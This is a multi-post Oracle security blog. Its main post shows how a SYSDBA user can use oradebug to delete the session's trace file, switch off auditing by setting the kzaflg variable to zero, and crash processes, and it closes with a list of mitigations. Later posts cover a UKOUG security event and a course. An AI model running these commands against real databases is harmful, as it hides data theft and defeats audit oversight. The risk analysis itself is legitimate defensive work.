Pete Finnigan's Oracle Security Weblog

Alex commented on my post about "oradebug" about the select statement on x$ksmfsv which holds a list of all fixed variables amongst other things and joined it to x$ksmmem to get the absolute address in the SGA to check the value of the audit_sys_operations flag but this is not needed as the dumpvar command of oradebug can be used to get the value without any SQL. I also had a little play with the oradebug "call" command this evening after working and decided to think about Laszlo's idea of monitoring the generated trace files to see if oradebug is used.

Whilst we cannot bypass at least two calls to oradebug (the setting of the PID and delete of the trace) that will end up in a trace file we can ensure that evidence generated by oradebug is not generated so that it cannot be monitored - I am thinking like a hacker now not a protector because i want to understand the size of the issue.

So we can start a session:

SQL> oradebug setmypid
Statement processed.
SQL> oradebug tracefile_name
c:\app\pete\diag\rdbms\ora11gr2\ora11gr2\trace\ora11gr2_ora_3412.trc
SQL> oradebug close_trace
Statement processed.
SQL> oradebug call system "del c:\app\pete\diag\rdbms\ora11gr2\ora11gr2\trace\ora11gr2_ora_3412.trc"
Function returned 0
SQL>

This now has removed the trace so we can turn audit off

SQL> oradebug dumpvar sga kzaflg
ub2 kzaflg_ [6995874, 6995878) = 00000001
SQL> oradebug setvar sga kzaflg 0
BEFORE: [6995874, 6995878) = 00000001
AFTER: [6995874, 6995878) = 00000000
SQL> oradebug dumpvar sga kzaflg
ub2 kzaflg_ [6995874, 6995878) = 00000000
SQL>

Now you can steal data, change data or whatever and nothing is recorded to trace including the above commands. This has utilised extra oradebug commands, "oradebug tracefile_name", "oradebug call" and potentially you could also use "oradebug flush" to make sure that the server does not retain any output and write it to the next session.

This means that whilst Laszlo's tool may trap the initial "oradebug setmypdi" and the "oradebug tracefile_name" and "oradebug call" it cannot trap any subsequent calls to turn off audit or anything else that the attacker may do with oradebug and of course SYSDBA trace is off.

The only solutions seem to be:

1) disable oradebug - this needs Oracles help but maybe there is an undocumented way to unlink the interface?
2) audit is not possible; trace is not reliable as stated above
3) stop any user from having SYSDBA apart from SYS
4) stop operating system users from having OSDBA apart from "oracle"
5) stop access to the server to prevent use of OSDBA/SYSDBA - not practical for everything
6) turn remote_login_passwordfile off to prevent remote SYSDBA via the password file
7) set an impossible password for SYS and only release it when needed.
8) force connections as SYSDBA to be remote so that network logging may be possible to capture oradebug commands
9) use keystroke loggers to capture what any OS user does as "oracle" and potentially SYSDBA

None of this is perfect and in lots of sites probably un-workable so a solution is needed from Oracle to secure oradebug. I think simply stopping audit from being disabled is probably not enough as the cat is out of the bag and other things will be done instead - like removing audit or trace with delete commands......

Laszlo has published his slides from Hacktivity in Budapest last weekend where he shows how the Oracle undocumented oradebug command can be used to exploit the database; covering turning off authentication, turning off audit and more. His slides are here. As usual Laszlo's research is excellent. The use of oradebug as a hacker tool is valid but you must be SYSDBA first to be able to use it; this is a sort of oxymoron. It is afterall a debugger interface to the Oracle Engine; any debugger is dangerous as often they include commands to modify running processes; in this case examples are show to modify memory and turn off audit for instance but as such it should be available to the most powerful user only and it is.

There are arguments that there are ways to escalate your privileges to SYSDBA but I doint accept these particular arguments as an issue with oradebug itself; they are of course an issue with whatever escalation technique you use to become SYSDBA not with oradebug. To protect against oradebug you must stop people becoming SYSDBA but that is a seperate task; but that is only part of the story. The valid risk is therefore about people who are authorised to connect as SYSDBA who may then use oradebug to do something naughty such as turn off audit and avoid any existing logging or audit of audit trails. They can of course turn audit off anyway without oradebug but it would be hoped that normal mechanisms are audited and that "turn off" at least would be captured.

The real danger with oradebug is that audit (in this example) can be turned off and its not audited. Therefore there is a risk. The only way to detect this would seem to be to watch trace files and look for oradebug commands but these trace files can be deleted by an attacker or DBA anyway. A network based solution to sniff for oradebug commands will work but not if oradebug is used from a local connection so it is flawed. SYSDBA audit from audit_sys_operations doesnt capture oradebug commands and system triggers do not work for SYSDBA, FGA also will not capture its use, the oradebug command is also not visible in the SGA. It is also not possible to turn oradebug off unless Oracle can provide a supported way to unlink it but i suspect even this could be bypassed if the protocol of the oradebug messages is simulated; based on the assumption that the actual debug hooks cannot be turned off from the server.One method to stop its use would be to "hook" the debugger functions and return without debugging but this would not be supported and unless its done in the server would not be of use.

I suspect Oracle may not see this as a big issue as you need to be SYSDBA but i think the main issue is that its virtually undetectable in its use and genuine SYSDBA users can do naughty things with oradebug. If there was a simpler way to audit oradebug use then yes I would agree its less of an issue but there doesn't seem to be one.

Laszlo has shown various uses for oradebug but what about the command "oradebug event immediate crash" - should be useful for an attacker to simply take down shadow processes or even system processes. Hacking is not always about stealing or escalation but sometimes about damage.

As always, great work from Laszlo!

I spoke at the UKOUG special security day event last week at Bletchley Park just outside of Milton Keynes. We had a great agenda for the day which was focused on Data Security. We had Ian Glover of CREST and CLAS and also Bloodhound SSC as the keynote speaker; unfortunately I arrived at the end of Ian's talk but just in time to get the main points from his conclusion. Ian gave a great argument for structured testing of Oracle databases in a similar way that servers and networks are penetration tested in the UK by companies with CHECK team members and CHECK team leaders. In otherwords a repeatable service is provided so that organisations know they are getting a proper assessment of their security. The same is missing in the UK at least and probably most other countries. A centralised standard should be created that doesnt focus on hardening but instead focuses on securing data. This should be the basis in which companies secure their data and also which security companies test against. This would be a great move forward and would also be bolstered should there ever be a UK database security legislation that affects more databases that say PCI DSS, SoX etc do now.

Mary Ann Davidson, Oracle's CISO was next to speak and she gave a very good talk. She is quite open and realistic about security which is great to hear. The delegates also went on a tour around Bletchley Park where in the war years the team there cracked the German Enigma code machines. Then it was George Fyffe's turn to talk about Data Breaches and cyber Security.

Then I spoke. The focus of my talk was really the point that "It is not Oracle security it is data security". I wanted to really focus peoples attention onto where the data really is and who can really access it and therefore how a plan must be created to secure the data in all locations not simply by hardening a database using a checklist. The focus also should be on understanding what the current security status of the data is and then to establish a policy. You cannot secure data unless there is a basis to secure it to. In otherwords you have to know when to start securing and also when it is stopped - i.e. secured to the standard.

Finally Lindsay spoke about legislation and business drivers.

My slides are available on my Oracle Security White Papers Page.

Ron Reidy will be teaching my 2 day class "how to perform a security audit of an Oracle database" in Denver, CO, USA on November 10th and November 11th 2011. The class is a public course so if you are interested in attending please contact Ron and register for the Oracle Security Class. The class price per student is $995.00 USD.

This is a great oppertunity to attend this class in the USA and Ron is a fantastic instructor with decades of experience.